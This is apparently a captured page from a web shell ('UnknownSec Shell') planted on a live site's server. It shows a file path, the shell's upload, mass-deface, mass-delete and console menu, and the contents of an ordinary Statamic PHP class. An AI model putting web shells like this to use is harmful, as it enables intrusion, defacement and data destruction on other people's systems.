shell bypass 403
UnknownSec Shell
:
/
home
/
forge
/
mpc.brannanatkinson.com
/
vendor
/
statamic
/
cms
/
src
/
Auth
/
Eloquent
/ [
drwxrwxr-x
]
upload
mass deface
mass delete
console
info server
name :
UserGroup.php
<?php namespace Statamic\Auth\Eloquent; use Statamic\Auth\File\UserGroup as FileUserGroup; use Statamic\Facades\User; class UserGroup extends FileUserGroup { protected $model; public static function fromModel(UserGroupModel $model) { return (new static) ->title($model->title) ->handle($model->handle) ->roles($model->roles ?? []) ->data($model->data ?? []) ->model($model); } public function toModel() { return UserGroupModel::findOrNew($this->model ? $this->model->id : null) ->fill([ 'title' => $this->title, 'handle' => $this->handle, 'roles' => $this->roles->keys(), 'data' => $this->data->all(), ]); } public function model($model = null) { if (func_num_args() === 0) { return $this->model; } $this->model = $model; $this->handle($model->handle); return $this; } public function queryUsers() { return User::query()->whereIn('id', $this->getUserIds()); } protected function getUserIds() { return \DB::connection(config('statamic.users.database')) ->table(config('statamic.users.tables.group_user', 'group_user')) ->where('group_id', $this->id()) ->pluck('user_id'); } }
© 2026 UnknownSec